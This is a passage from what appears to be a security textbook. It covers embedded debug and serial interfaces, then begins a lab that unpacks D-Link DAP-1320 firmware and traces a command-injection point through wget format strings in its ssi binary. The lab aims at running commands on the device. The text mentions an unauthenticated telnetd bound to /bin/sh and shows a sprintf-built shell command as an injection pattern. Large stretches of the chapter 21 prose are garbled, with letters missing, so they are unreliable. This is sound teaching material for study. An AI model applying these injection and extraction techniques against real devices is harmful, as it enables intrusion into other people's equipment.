0x000000080000-0x0000000e0000 : "Config"
0x0000000e0000-0x000000140000 : "eeprom"
0x000000140000-0x000000440000 : "Kernel"
0x000000440000-0x000000740000 : "Kernel2"
0x000000740000-0x00000ff00000 : "RootFS"
[mtk_nand] probe successfully!
Once the layout is determined, you can use a tool such as Bus Pirate to connect to the
pads and communicate with the embedded system. The main thing to remember is to
connect the TX on the device to the RX of your Bus Pirate and to connect the RX on the
device to the TX of your Bus Pirate.
As with the JTAG interface, some may discount the severity of having enabled serial
ports on a device. However, with console access, an attacker can extract the configuration
and binaries, install tools, and look for global secrets that facilitate remote attacks against
all devices of this type.
416
SPI
Serial Peripheral Interface (SPI) is a full-duplex synchronous serial interface that is popu-
lar in embedded systems. Unlike UART, SPI was designed to allow communications
between two or more devices. SPI is a short-distance protocol that is used for commu-
nications between ICs within an embedded system. The protocol uses a master/slave
architecture and supports multiple slaves.4 In its simplest form, SPI requires four pins to
communicate, which puts it on par with the UART example but with faster communica-
tions (at the cost of distance). It is important to note that SPI is not standardized,5 and
the datasheets will need to be consulted to determine the exact behavior of each device.
The four pins are as follows:
• SCK Serial Clock

• MOSI Master Out Slave In
• MISO Master In Slave Out
• SS or CS Slave/Chip Select (output from master to address slave; active low)
For systems with a few slave devices, the master typically addresses each slave device
using a dedicated chip select. Due to the additional chip selects, this requires more pins/
traces and increases the cost of the system. For example, a system with three slave devices
in this configuration requires six pins on the microcontroller (see Figure 20-3).
Another common configuration for multiple-slave devices is the daisy chain.4 The
daisy chain configuration, shown in Figure 20-4, is typically used when the master
does not need to receive data for applications such as LEDs or when there are many
slave devices. Because the output of chip 1 is connected to the input of chip 2, and so
on, there is a delay proportionate to the number of chips between the master and the
intended recipient.
A common use of the SPI protocol is to access EEPROM (electrically erasable
programmable read-only memory) and flash devices. By using Bus Pirate and flashrom
(or something similar), you should be able to extract the contents of an EEPROM
or flash device. The contents can then be analyzed to locate the file system and hunt
for secrets.
SPI
Figure 20-3 SCK SCK
SPI in a MOSI MOSI Slave 1
SPI MISO MISO
three-chip Master CS1 CS
configuration CS2
with individual CS3 SPI
SCK
chip selects MOSI Slave 2
MISO
CS
SPI
SCK
MOSI Slave 3
MISO
CS
417
Figure 20-4 SCK SCK SPI
SPI in a SPI MOSI MOSI Slave 1
Master MISO MISO
three-chip SS SS
configuration
using a daisy
SCK SPI
chain MOSI Slave 2
MISO
SS
SCK SPI
MOSI Slave 3
MISO
SS
I2C
Inter-Integrated-Circuit, pronounced I-squared-C and written as I2C,6 is a multimaster,
multislave, packetized serial communications protocol. It is slower than SPI but only uses
two pins instead of three, plus chip selects for each slave. Like SPI, I2C is used for short
distances between ICs on the board, but it can be used in cabling. Unlike SPI, I2C is an
official specification.
PART IV
Although multiple masters are supported, they cannot communicate with each other
and cannot use the bus at the same time. To communicate with a specific device, the
master uses an address packet, followed by one or more data packets. The two pins are
as follows:
• SCL Serial Clock

• SDA Serial Data
From Figure 20-5, you can see that the SDA pin is bidirectional and shared for all
devices. Additionally, the SCL pin is driven by the master that has acquired the data bus.
Like SPI, I2C is commonly used to communicate with EEPROM or NVRAM
(nonvolatile random access memory). By using something like the Bus Pirate, you can
dump the contents for offline analysis or write new values.
Figure 20-5 SPI SCL SCL I2C

A two-master, Master 1 SDA SDA Slave 1
three-slave
sample SCL I2C
configuration SDA Slave 2
SPI SCL SCL I2C

Master 2 SDA SDA Slave 3
418
Debug Interfaces
Whereas debugging an application on a computer running Windows or Linux is rela-
tively easy, by simply attaching to a process with a software debugger, embedded systems
have many obstacles that make such a process a bit trickier. For example, how do you
debug the embedded system when there is no operating system or the operating system is
not booted? Modern embedded systems also have many complicated ICs on potentially
densely populated boards with little to no access to the pins on the chips. Fortunately for
the developers and testers, the hardware manufacturing industry developed methods for
accessing IC internals for testing, debugging, and writing firmware to nonvolatile stor-
age, and many other uses.
JTAG
The Joint Test Action Group (JTAG) was created in the 1980s as a method to facilitate
debugging and testing ICs. In 1990, the method was standardized as IEEE 1149.1, but
it is commonly referred to as simply JTAG.7 Although it was initially created to help with
board-level testing, the capabilities allow debugging at the hardware level.
Although this is an oversimplification, JTAG defines a mechanism of utilizing a few
externally accessible signals to access IC internals via a standardized state-machine. The
mechanism is standardized, but the actual functionality behind it is IC specific. This
means that you must know the IC being debugged to use JTAG effectively. For example,
a bit sequence to an ARM processor and an MIPS processor will be interpreted differ-
ently by the internal logic of the processor. Tools such as OpenOCD require device-
specific config files to operate properly. Although manufacturers may define more pins,
the four/five JTAG pin description is provided in Table 20-2. The collection of pins is
also known as the test access port (TAP).
Although you might think that five pins would have a standard layout, board and
IC manufacturers define their own layouts. Some common pinouts are defined in
Table 20-3 and include 10-, 14-, and 20-pin configurations. The pinouts in the table
are only a sampling and need to be verified before they are used with a debugger.
Pin Description
TCK (Test Clock) The Test Clock pin is used to clock data into the TDI and TMS inputs
of the target. The clock provides a means for the debugger and
device to be synchronized.
TMS (Test Mode Select) The Test Mode Select pin is used to set the state of the Test Access
Port (TAP) controller on the target.
TDI (Test Data In) The Test Data In pin provides serial data to the target during
debugging.
TDO (Test Data Out) The Test Data Out pin receives serial data from the target during
debugging.
TRST (Test Reset) (Optional) The Test Reset pin can be used to reset the TAP controller
of the processor to allow debugging to take place.
Table 20-2 Four/Five Pin JTAG Interface Description
419
Pin 14-Pin ARM 20-Pin ARM TI MSP430 MIPS EJTAG
1 VRef VRef TDO nTRST
2 GND VSupply VREF GND
3 nTRST nTRST TDI TDI
4 GND GND — GND
5 TDI TDI TMS TDO
6 GND GND TCLK GND
7 TMS TMS TCK TMS
8 GND GND VPP GND
9 TCK TCK GND TCK
10 GND GND — GND
11 TDO RTCK nSRST nSRST
12 nSRST GND — —
13 VREF TDO — DINT
14 GND GND — VREF
15 nSRST
PART IV
16 GND
17 DBGRQ
18 GND
19 DBGAK
20 GND
Table 20-3 Typical JTAG Pinouts8, 9
For the developer and tester, the following capabilities are commonly used:
• Halting the processor while debugging

• Reading and writing the internal program store (when code is stored inside the
microcontroller)
• Reading and writing flash (firmware modification or extraction)
• Reading and writing memory
• Modifying the program flow to bypass functionality to gain restricted access
As you can see, the functionality available to the JTAG interface is quite powerful.
Equipment manufacturers are in a quandary. To develop, test, and debug the embedded
system throughout its life cycle, the JTAG port is indispensable; however, its existence on
the board provides researchers and attackers the ability to discover secrets, alter behavior,
and find vulnerabilities. Manufacturers will typically attempt to make it more difficult to
use the JTAG interface after production by severing the lines, not populating the pins,
420
not labeling the pinout, or using chip capabilities to disable it. Although this is reason-
ably effective, a determined attacker has many means in their arsenal to circumvent the
protections, including fixing broken traces, soldering pins on the board, or possibly even
shipping an IC to a company that specializes in extracting data.
Some may dismiss JTAG as a weakness since physical, possibly destructive, access is
required to use it. The problem with dismissing the attack is that the attacker can learn a
great deal about the system using JTAG. If a global secret such as a password, an inten-
tional backdoor for support, a key, or a certificate is present on the system, it may be
extracted and subsequently used to attack a remote system.
SWD
Serial Wire Debug (SWD) is an ARM-specific protocol for debugging and program-
ming. Unlike the more common five-pin JTAG, SWD uses two pins. SWD provides a
clock (SWDCLK) and bidirectional data line (SWDIO) to deliver the debug function-
ality of JTAG. As can be seen in Table 20-4, SWD and JTAG can coexist,10 which is
important to note.
Pin 10-Pin ARM Cortex SWD and JTAG11 20-Pin ARM SWD and JTAG12
1 VRef VRef
2 SWDIO / TMS VSupply
3 GND nTRST
4 SWDCLK / TCK GND
5 GND TDI / NC
6 SWO / TDO GND
7 KEY TMS / SWDIO
8 TDI / NC GND
9 GNDDetect TCK / SWDCLK
10 nRESET GND
11 RTCK
12 GND
13 TDO / SWO
14 GND
15 nSRST
16 GND
17 DBGRQ
18 GND
19 DBGAK
20 GND
Table 20-4 Typical JTAG/SWD Pinouts
421
The capabilities for developers and testers are the same as those mentioned for JTAG.
As with JTAG, the capabilities that help manufacturers also enable attackers to discover
vulnerabilities.
Software
All the hardware we’ve discussed so far would be useless without something defining
its functionality. In microcontroller/microprocessor-based systems, software defines the
capabilities and breathes life into the system. A bootloader is used to initialize the pro-
cessor and start the system software. The system software for these systems typically falls
into one of these three scenarios:
• No operating system For simple systems

• Real-time operating system For systems with rigid processing time
requirements (for example, VxWorks and Nucleus)
• General operating system For systems that typically don’t have hard time
constraints and have many functional requirements (for example, Linux and
Embedded Windows)
PART IV
Bootloader
For higher-level software to run on a processor, the system must be initialized. The soft-
ware that performs the initial configuration of the processor and the required initial
peripheral devices is called the bootloader. The process typically requires multiple stages
to get the system ready to run the higher-level software. The oversimplified process is
generally described as follows:
1. The microprocessor/microcontroller loads a small program from a fixed location

of an off-processor device based on the boot mode.
2. The small program initializes RAM and structures required to load the remainder
of the bootloader in RAM (U-Boot, for example).
3. The bootloader initializes any devices necessary to start the main program or OS,
loads the main program, and transfers execution to the newly loaded program.
For Linux, the main program would be the kernel.
If U-Boot is used, this bootloader may have been configured to allow alternative
means of loading the main program. For example, U-Boot is capable of loading from
an SD card, NAND or NOR flash, USB, a serial interface, or TFTP over the network
if networking is initialized. In addition to loading the main program, it can be used to
replace the main program in a persistent storage device. The Ubiquiti ER-X, from our
earlier example of using the JTAGulator, uses U-Boot (see Figure 20-6). In addition to
loading the kernel, it allows reading and writing memory and storage.
422
Figure 20-6
U-Boot from
Ubiquiti ER-X
No Operating System
For many applications, the overhead of an OS and the simplicity of the system do not
justify or allow for an OS. For example, a sensor that performs measurements and sends
them to another device likely uses a low-power microcontroller such as a PIC and has
very little need for an operating system. In this example, the PIC likely does not have
enough resources (storage, RAM, and so on) to allow it to run an OS.
In systems with no OS, the data storage will likely be very crude, based on address off-
sets or using NVRAM. Additionally, these systems typically do not have a user interface,
or the interface is extremely simple, such as LEDs and buttons. After the program has
been acquired, either from extraction from storage or via downloading, the format can be
entirely custom and not easily identifiable to frequently used file analysis tools. The best
bet is to read the documentation for the microcontroller to understand how the device
loads code and attempts to deconstruct it manually with a disassembler.
You might be thinking that a system this simple would not be very interesting, but
keep in mind that it might have connectivity to a more complex system with Internet
connections. Don’t dismiss these devices as not having a valuable attack surface with-
out first considering the total use case, including connected devices and their purpose.
423
The limited instruction space might mean that the device doesn’t have the ability to
adequately protect itself from malicious input, and the protocols are likely not encrypted.
Additionally, connected systems might explicitly trust any data coming from these devices
and therefore not take appropriate measures to ensure that the data is valid.
Real-Time Operating System

Systems that are more complex and have hard time-processing requirements will typi-
cally use a real-time operating system (RTOS) such as VxWorks. The advantage of the
RTOS is that it provides the functionality of an OS, such as tasks, queues, networking
stacks, file systems, interrupt handler, and device management, with the added capabil-
ity of a deterministic scheduler. For example, autonomous or driver-assisted automotive
systems likely use an RTOS to ensure that reactions to various sensors are happening
within the safety tolerance of the system (rigid).
For those used to systems running Linux, VxWorks is much different. Linux has a
fairly standard file system with common programs such as telnet, BusyBox, ftp, and sh,
and applications run as separate processes on the OS. With VxWorks, many of the sys-
tems run with effectively a single process, with multiple tasks and no standard file system
or secondary applications. Whereas Linux has a lot of information regarding extraction
of firmware and reverse engineering, there is very little information regarding VxWorks.
PART IV
Extracting the firmware with SPI or I 2C or using a downloaded file will provide you
with strings and code that can be disassembled. But unlike with Linux, you will not gen-
erally get easily digestible data. Analyzing the strings for passwords, certificates, keys, and
format strings can yield useful secrets to use against the live system. Additionally, using
JTAG to set breakpoints and perform actions on the device is likely the most effective
method of reversing the functionality.
General Operating System

The term general operating system is being used to describe non-RTOS operating systems.
Linux is the most common example of a general operating system. Linux for embedded
systems is not much different from Linux for a desktop system. The file systems and
architecture are the same. The main differences between embedded and desktop versions
are peripherals, storage, and memory constraints.
To accommodate the generally smaller storage and memory, the OS and file system are
minimized. For example, instead of using the common programs installed with Linux,
such as bash, telnetd, ls, cp, and such, a smaller monolithic program called BusyBox is
typically used. BusyBox13 provides the functionality within a single executable by using
the first argument as the desired program. Although I’d like to say that unused services
are removed to reduce the attack surface, they are likely only removed to save space.
Although most devices do not intentionally provide console access to the user, many
do have a serial port for console access on the board. As soon as you have access to the
root file system, either via the console or by extracting the image from storage, you will
want to look for the versions of applications and libraries, world-writable directories,
any persistent storage, and the initialization process. The initialization process for Linux,
found in /etc/inittab and /etc/init.d/rcS, will give you an idea of how the applications are
started on boot.
424
Summary
In this chapter, we briefly discussed the differences between different CPU packages
(microcontroller, microprocessor, and SoC), several serial interfaces of interest, JTAG,
and embedded software. In our discussion of serial interfaces, you were introduced to
the JTAGulator in an example of discovering UART (serial) ports. JTAGulator can also
be used to discover JTAG debug ports and potentially several other interfaces. We also
briefly discussed different software use cases, including bootloaders, no OS, an RTOS,
and a general OS. At this point, you should have a common vocabulary for embedded
systems and a few areas of concern when attempting to gain a further understanding.
For Further Reading

ARM developer.arm.com/products/architecture/a-profile, developer.arm.com/products/
architecture/r-profile, developer.arm.com/products/architecture/m-profile, www.arm.com/
products/silicon-ip-cpu
Bus Pirate dangerousprototypes.com/docs/Bus_Pirate
Embedded Linux www.elinux.org/Main_Page
Firmware extraction and reconstruction www.j-michel.org/blog/2013/09/16/firmware-
extraction-and-reconstruction
Free RTOS www.freertos.org/
I2C learn.sparkfun.com/tutorials/i2c
JTAG wrongbaud.github.io/posts/jtag-hdd/, developer.arm.com/docs/dui0499/latest/
arm-dstream-target-interface-connections/signal-descriptions/serial-wire-debug
JTAGulator www.grandideastudio.com/jtagulator/
MT-7621A www.mediatek.com/products/homeNetworking/mt7621n-a, wikidevi.wi-cat
.ru/Ubiquiti_Networks_EdgeRouter_X_(ER-X)
OpenOCD openocd.org/
Reverse-engineering VxWorks firmware www.devttys0.com/2011/07/reverse-
engineering-vxworks-firmware-wrt54gv8/
SPI www.maximintegrated.com/en/app-notes/index.mvp/id/3947
Understanding ARM HW debug options elinux.org/images/7/7f/Manderson5.pdf
VxWorks www.windriver.com/products/vxworks/
425
References
1. “OR gate,” Wikipedia, https://en.wikipedia.org/wiki/OR_gate.
2. “ARM Architecture Profiles,” ARM Developer, http://infocenter.arm.com/help/
index.jsp?topic=/com.arm.doc.dui0471i/BCFDFFGA.html.
3. Jim Turley, “Wait, What? MIPS Becomes RISCV,” EE Journal, March 8, 2021,
https://www.eejournal.com/article/wait-what-mips-becomes-risc-v/.
4. “Serial Peripheral Interface (SPI),” Sparkfun, https://learn.sparkfun.com/tutorials/
serial-peripheral-interface-spi.
5. “Serial Peripheral Interface, Standards,” Wikipedia, https://en.wikipedia.org/wiki/
Serial_Peripheral_Interface#Standards.
6. “I2C—What’s That?,” I2C, https://www.i2c-bus.org/.
7. “Joint Test Action Group,” Wikipedia, https://en.wikipedia.org/wiki/JTAG.
8. “JTAG Pinouts,” JTAG Test, www.jtagtest.com/pinouts/.
9. “JTAG Pin Descriptions,” ARM DS-5 ARM DSTREAM System and Interface
Design Reference Guide, Version 5, https://developer.arm.com/docs/dui0499/latest/
arm-dstream-target-interface-connections/the-arm-jtag-20-connector-pinouts-
PART IV
and-interface-signals/arm-jtag-20-interface-signals.
10. “Structure of the SWJ-DP” (JTAG/SWD Coexist as SWJ-DP), ARM Developer,
http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0314h/
Chdjjbcb.html.
11. “10-Way Connector Pinouts” (SWD/JTAG 10 Pin), ARM Developer, http://
infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0314h/Chdhbiad.html.
12. “20-Way Connector Pinouts Including Trace” (SWD/JTAG 20 Pin), ARM
Developer, http://infocenter.arm.com/help/topic/com.arm.doc.ddi0314h/
Chdfccbi.html.
13. “BusyBox: The Swiss Army Knife of Embedded Linux,” BusyBox, https://busybox
.net/about.html.
Exploiting
Embedded Devices
CHAPTER
21
• Static analysis of vulnerabilities in embedded devices
• Dynamic analysis with hardware
• Dynamic analysis with emulation
T ape ove expong embedded deve. T op  beomng neangy
mpoan w e emegene o e Inene o Tng (IoT), a oveed n pevou
ape. Fom eevao o a, oae, and eveyng “ma,” embedded deve
ae beomng ubquou, and e euy vuneabe and ea ae beomng
nnumeabe. A Bue Snee a obeved,   ke e Wd We o e 1990
a ove agan; eveywee we ook, ee ae vuneabe n ee embedded deve.
Snee expan a   beaue o many ao, nudng e med eoue o
e deve emeve and e med eoue o e manuaue n e ow-magn
ed o podung embedded deve.1 Hopeuy, moe ea ake w e o mee
 aenge and make a den n e de o vuneabe o embedded deve.
Static Analysis of Vulnerabilities

in Embedded Devices
Sa anay o vuneabe nvove ookng o vuneabe by npeng e
updae pakage, e yem, and bnae o e yem wou avng o powe up
e deve beng evauaed. In a, n mo ae, e aake doen’ need o ave e
deve o do mo o e a anay. In  eon, you ae expoed o ome oo and
enque o ondung a anay on an embedded deve.
Lab 21-1: Analyzing the Update Package
In mo ae, e updae pakage o a deve an be downoaded om e vendo e.
Cueny, many,  no mo, updae ae no enyped and eeoe an poenay
be deonued w vaou oo u a unzp, bnwak, and Fmwae Mod K.
427
428
Fo nuon pupoe, we w ook a a Lnux-baed yem ne you ae mo key
ama w ee yem.
In Lnux-baed embedded yem, e updae pakage oen onan a new opy
o a e eena e and deoe equed o opeae e yem. Te equed
deoe and e ae eeed o a e root file system (RFS). I an aake an gan
ae o e RFS, ey w ave e nazaon oune, web eve oue ode, any
bnae equed o un e yem, and poby ome bnae a povde e aake
w an advanage wen aempng o expo e yem. Fo exampe,  a yem ue
BuyBox and nude e ened eve, an aake mg be abe o eveage e Tene
eve o povde emoe ae o e yem. Speay, e ened eve nuded n
BuyBox povde an agumen a aow  o be nvoked wou auenaon and
o bnd o any pogam (/u/bn/ened – /bn/).
A an exampe, we w nvegae an ode veon o e D-Lnk DAP-1320 wee
ange exende’ mwae updae (veon 1.1 o e A adwae). T updae wa oen
beaue   an ode updae a a been paed, and e vuneaby doue
(www.kb.e.og/vu/d/184100) wa epoed by evea o e auo.
Te  ep  o eae e envonmen o deonung e mwae. In ou ae,
we w ue bnwak. Te bae o yem o ou anay  Ka Lnux 2021.1. In ode
o na bnwak, we mu  na e peeque ung e pakage manage ap-
ge o na pp3 and emove e naed veon o bnwak ➊. One e peeque
ae me, e na eque onng e poje om GHub, ekng ou a pe
known-wokng veon, modyng e dep. p o oe eo eaed o Ka,
unnng e dep. p ➋, and nang bnwak. We en aemp o exa e
mwae ➌ povded n Lab 21-1 on e book’ GHub epooy, and  e pakage
and onen ype ae known by e oo, ey w be exaed o ue anay. Fom
e oupu, we an ee a e oo a ound bo an MIPS Lnux kene mage ➍ and
Chapter 21: Exploiting Embedded Devices
429
a qua e yem ➎ ➏. By bowng e exaon, we deny  o be e oo ➐
and vey a e bnae ae omped o MIPS ➑.
➊$ sudo apt install python3-pip
<truncated for brevity>
$ sudo apt-get --purge remove binwalk
➋$ git clone https://github.com/ReFirmLabs/binwalk.git

$ cd binwalk
➋$ git checkout 772f271
➋$ sed -i "s#qt5base-dev#qtbase5-dev#" deps.sh
$ sed -i "s#\$SUDO \./build\.sh#CFLAGS=-fcommon \$SUDO \./build\.sh#" deps.sh
$ ./deps.sh
$ sudo python3 setup.py install
$ cd ~
➌$ binwalk -Me DAP-1320_FIRMWARE_1.11B10.zip

Scan Time: 2021-09-06 12:05:16
Target File: /home/grayhat/DAP-1320_FIRMWARE_1.11B10.zip
MD5 Checksum: ebd3a01c9e2079de403cf336741e1870
Signatures: 411
DECIMAL HEXADECIMAL DESCRIPTION
PART IV
--------------------------------------------------------------------------------
0 0x0 Zip archive data, at least v2.0 to extract,
compressed size: 3576647, uncompressed size: 5439486,
name: DAP1320_fw_1_11b10.bin
3576803 0x3693E3 End of Zip archive, footer length: 22
Scan Time: 2021-09-06 12:05:16

Target File: /home/grayhat/_DAP-
1320_FIRMWARE_1.11B10.zip.extracted/DAP1320_fw_1_11b10.bin
MD5 Checksum: 3d13558425d1147654e8801a99605ce6
Signatures: 411

--------------------------------------------------------------------------------
0 0x0 uImage header, header size: 64 bytes, header CRC:
0x71C7BA94, created: 2013-09-16 08:50:53, image size: 799894 bytes, Data Address:
0x80002000, Entry Point: 0x801AB9F0, data CRC: 0xA62B902, ➍OS: Linux, CPU: MIPS,
image type: OS Kernel Image, compression type: lzma, image name: "Linux Kernel
Image"
64 0x40 LZMA compressed data, properties: 0x5D, dictionary
size: 8388608 bytes, uncompressed size: 2303956 bytes
851968 0xD0000 ➎Squashfs filesystem, little endian, version 4.0,
compression:lzma, size: 2774325 bytes, 589 inodes, blocksize: 65536 bytes,
created: 2013-09-16 08:51:15
Scan Time: 2021-09-06 12:05:18

Target File: /home/grayhat/_DAP-1320_FIRMWARE_1.11B10.zip.extracted/_DAP1320_
fw_1_11b10.bin.extracted/40
MD5 Checksum: a741e8176a2f160957382396824e2620
Signatures: 411

--------------------------------------------------------------------------------
78808 0x133D8 Certificate in DER format (x509 v3), header length:
4, sequence length: 30
79160 0x13538 Certificate in DER format (x509 v3), header length:
430
79604 0x136F4 Certificate in DER format (x509 v3), header length:
1769504 0x1B0020 Linux kernel version 2.6.31
1790640 0x1B52B0 CRC32 polynomial table, little endian
2009280 0x1EA8C0 Neighborly text, "NeighborSolicitstunnel6 init():
can't add protocol"
2009300 0x1EA8D4 Neighborly text, "NeighborAdvertisementst add
protocol"
2011043 0x1EAFA3 Neighborly text, "neighbor
%.2x%.2x.%.2x:%.2x:%.2x:%.2x:%.2x:%.2x lost on port %d(%s)(%s)"
➏$ ls _DAP-1320_FIRMWARE_1.11B10.zip.extracted/\
_DAP1320_fw_1_11b10.bin.extracted
40 40.7z D0000.squashfs squashfs-root
➐$ ls _DAP-1320_FIRMWARE_1.11B10.zip.extracted/\
_DAP1320_fw_1_11b10.bin.extracted/squashfs-root
bin dev etc lib linuxrc proc sbin share sys tmp usr var www
$ cd _DAP-1320_FIRMWARE_1.11B10.zip.extracted/\
_DAP1320_fw_1_11b10.bin.extracted/squashfs-root/
$ ls -m bin
ash, busybox, busybox_161, cat, cgi, chmod, cli, cp, date, dd, echo, egrep,
ethreg, fgrep, gpio_event, grep, hostname, kill, ln, login, ls, md, mkdir, mm,
mount, mv, netbios_checker, nvram, ping, ping6, ps, rm, sed, sh, sleep, ssi,
touch, udhcpc, umount, uname, xmlwf
➑$ file bin/busybox
bin/busybox: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV),
dynamically linked, interpreter /lib/ld-uClibc.so.0, no section header
Now a e updae pakage a been exaed,   me o bowe e e, ookng
o eaue, onguaon, o unknown appaon. Tabe 21-1 dene ome em o
ook o we bowng.
NOTE Each version of an executable or library that is found needs to be

cross-checked against known vulnerabilities. For example, use a Google
search of <name> <version number> vulnerability.
Purpose Bash Command Examples

Locate executable files find . -type f -perm /u+x
(note: non-BusyBox files).
Determine the directory find . –type d
structure for future analysis.
Find web servers or find . -type f -perm /u+x -name "*httpd*" -o
associated technologies. -name "*cgi*" -o -name "*nginx*"
Find library versions. for i in `find . -type d -name lib`;do find
$i -type f;done
Find HTML, JavaScript, find . –name "*.htm*" –o –name "*.js" –o –
CGI, and config files. name "*.cgi" –o –name "*.conf"
Look for an executable strings sbin/lighttpd | grep lighttpd
version (for example,
with lighttpd).
Table 21-1 Examples of Interrogating the File System
431
One you’ve oeed a  nomaon, you w wan o undeand wa 
poeng eque om e bowe o any eve unnng. Beaue we’ve aeady
peomed a e peedng ep, we edued e oowng exampe n ode o make e
anay moe ondened and agowad. Te web eve wa ound o be gpd
➊, w ue gpd*.on ➋ and modue.on ➌ o e onguaon. Fuemoe,
 ue g.on ➍, w pon amo a andng o /bn/ ➎ (a bnay exeuabe).
$ find . -type f -perm /u+x -name "*httpd*" -o \
-name "*cgi*" -o -name "*nginx*"
➊./sbin/lighttpd
./sbin/lighttpd-angel
./etc/conf.d/cgi.conf
./bin/cgi
$ find . -name *.conf
➋./etc/lighttpd.conf
./etc/conf.d/mime.conf
./etc/conf.d/cgi.conf
./etc/conf.d/auth_base.conf
./etc/conf.d/expire.conf
./etc/conf.d/auth.conf
./etc/conf.d/dirlisting.conf
./etc/conf.d/graph_auth.conf
./etc/conf.d/access_log.conf
./etc/modules.conf
PART IV
./etc/host.conf
./etc/resolv.conf
➋./etc/lighttpd_base.conf
$ cat etc/lighttpd_base.conf
#######################################################################
## /etc/lighttpd/lighttpd.conf
## check /etc/lighttpd/conf.d/*.conf for the configuration of modules.
#######################################################################
<truncated>
## Load the modules.
➌include "modules.conf"
<truncated>
$ cat etc/modules.conf
#######################################################################
# # Mo d u l e s t o l o a d
<truncated>
➍include "conf.d/cgi.conf"
root@kali:~/DAP-1320/fmk/rootfs# cat etc/conf.d/cgi.conf
#######################################################################
# # CGI mo d u l e s
## ---------------
## http://www.lighttpd.net/documentation/cgi.html
##
server.modules += ( "mod_cgi" )
## Plain old CGI handling

## For PHP don't forget to set cgi.fix_pathinfo = 1 in the php.ini.
##
cgi . as s i gn = (
➎ " . h t m" = > " / b i n / s s i " ,
" publ i c . j s " => " / bi n/ s s i " ,
" . x ml " = > " / b i n / s s i "
" s a ve _c onf i gur e . c gi " => " / bi n/ s h" ,
" hna p. c gi " => " / bi n/ s h" ,
" t r 069. c gi " => " / bi n/ s h" ,
" wi d g e t . c g i " = > " / b i n / s h " ,
" . c gi " => " / bi n/ s s i " ,
432
" . h t ml " => " / bi n/ s s i " ,
" . t xt " => " / bi n/ s s i "
)
We now ave an dea o ow o poeed and w begn ou vuneaby anay.
Lab 21-2: Performing Vulnerability Analysis
A  pon, vuneaby anay  no mu deen om wa a been aug
n pevou ape. Command-njeon, oma-ng, bue-oveow, ue-ae-ee,
monguaon, and many moe vuneabe an be eaed o. In  ae, we
w ue a enque o nd ommand-njeon-ype vuneabe n exeuabe. Sne
/bn/  a bnay, we w ook o oma ng a ue %s (o ng) and en
ede e oupu o /dev/nu (meanng we don’ ae abou e oupu). T paen
 neeng beaue  may ndae a sprintf unon a’ eang a ommand, w
a poenay ue-onoed vaabe, o ue w popen o system. Fo exampe, a
ommand o ee  anoe o  ave mg be eaed a oow:
sprintf(cmd,"ping –q –c 1 %s > /dev/null",variable)
Connung om e qua-oo deoy om Lab 21-1, we w anayze e 
bnay. I a vaabe  onoed by e aake and no anzed, and cmd  ued o
exeue n a e, e aake an nje e ommand no e nended ommand. In
 ae, we ave wo neeng ng a appea o downoad a e:
➊$ strings bin/ssi | grep "%s" | grep "/dev/null"
wget -P /tmp/ %s > /dev/null
wget %s -O %s >/dev/null &
NOTE For ease of the use, the SSI binary and previous command are also
located in Lab 21-2.
Amed w ee wo ng, we w begn o do ome eveng o e bnay o ee
 we ave ono ove e vaabe. Gda w be ou oo o oe o  ab, a 
 avaabe o ee and dued n Cape 4. Ree o Cape 4 o nuon on
nang and eang a poje.
Te man objeve o e Gda anay  o deemne wee e ng  ued
n a way a e aake a a ane o ae . Ae openng e SSI bnay n Gda
and enung a e poeo  e o MIPS, we en ake e oowng ep:
1. Sea o e ng o nee.
2. Deemne ow e ng  ued.
3. Deemne wee e URL ome om (   adoded, we ae no neeed
n ).
433
Go o e Sea | Fo Sng menu o bng up e ex ea een, own ee.
Leave e deau and en k Sea.
One  ompee, ea o “wge ” (noe e pae ae wget) and you w ee
PART IV
e wo ng we ound ung e ❶strings ommand ne n e . We nd ony wo
ouene o “wge ”: one  e a oma ng and e oe  a eeene o e
a ng.
By doube-kng e gged eu, we ae aken o a adde n e daemby
ng. One n e Lng wndow, pe ctrl-shift-f we e uo  a e adde
00428458 and doube-k e ony eeene a 00409010. You w now ee daembed
ode a e eeene on e e and a deomped veon o e daembed ode on
434
e g. Song down, we ee a e ng  beng ued n a sprintf o onu a
downoad ommand, w  beng paed o system, a own nex.
A  pon, we a ea know a e ng  beng ued o make a a o system.
Fom ee, we need o undeand ow e URL n e oma ng  povded. T
eque u o ae e ono ow o e pogam o  pon.
To ae e ono ow o e eny o  uboune/unon, we need o o o
e op o e unon and ee e adde (0040830) on e e. One e adde 
eeed, we mpy pe ctrl-shift-f o ge o e eeene, a own ee.
435
Te o-eeene o e downoad oune  auay a ookup abe w unon
pone o e eny pon o ea ommand. Te ode eae o a ommand and
jump o e oune pone a  adjaen o . You w ee e ommand o “IPv6
Funon,” “Downoad FW and anguage o DUT,” and “ge_wan_p,” ju above and
beow e adde. Noe a e ommand ae n e om o e o name, unon
pone, and ong name. Beaue   a ookup abe, we need o nd e begnnng o
e abe n ode o oae a o-eeene o . By ong up, we ee a e adde
004466d appea o be e bae o e jump abe. Peng ctrl-shift-f on a adde
ge u e ode a poee e jump abe, a own nex (ssi_cgi_tool_main).
PART IV
Aoug we ave no ompeey aed e ogn o e yem a bak o e oo,
  ae o ay a  pon bak o e cgi ommand o downoad e mwae. A ew
gep ➋ ➍ n e oo o e ng “downoad_w_p” gve u e ogn ➌ ➎. A 
pon, we w move on o aempng o expo e deve oug e mwae updae.
➋$ grep -r download_fw_lp .
➌./www/Firmware.htm:<input type="hidden" id="action" name="action"
value="download_fw_lp">
Binary file ./bin/ssi matches
➍$ grep -C 7 download_fw_lp www/Firmware.htm
<form id="form3" name="form3" method="POST" action="apply.cgi">
<input type="hidden" id="html_response_page" name="html_response_page"
value="Firmware.htm">
<input type="hidden" name="html_response_return_page" value="Firmware.htm">
<input type="hidden" id="html_response_message" name="html_response_message"
value="dl_fw_lp">
<input type="hidden" id="file_link" name="file_link" value="">
<input type="hidden" id="file_name" name="file_name" value="">
<input type="hidden" id="update_type" name="update_type" value="">
➎<input type="hidden" id="action" name="action" value="download_fw_lp">
</form>
436
Dynamic Analysis with Hardware
Te a anay poon o e aemen  ompee. Fom  pon owad, we
w be ookng a e yem a  un on e adwae, no emuaon. We need o e
up an envonmen o neepng eque om e deve o e WAN, onne e
DAP-1320 o ou e newok, and begn exeng e mwae updae poe. Te
end goa  o exeue omeng on e wee exende oug ommand njeon.
The Test Environment Setup

Te e eup we’ve oen ue 64-b Ka Lnux 2021.1, Eeap, e DAP-1320
wee ange exende w mwae veon 1.11, and a ok wee newok. Te
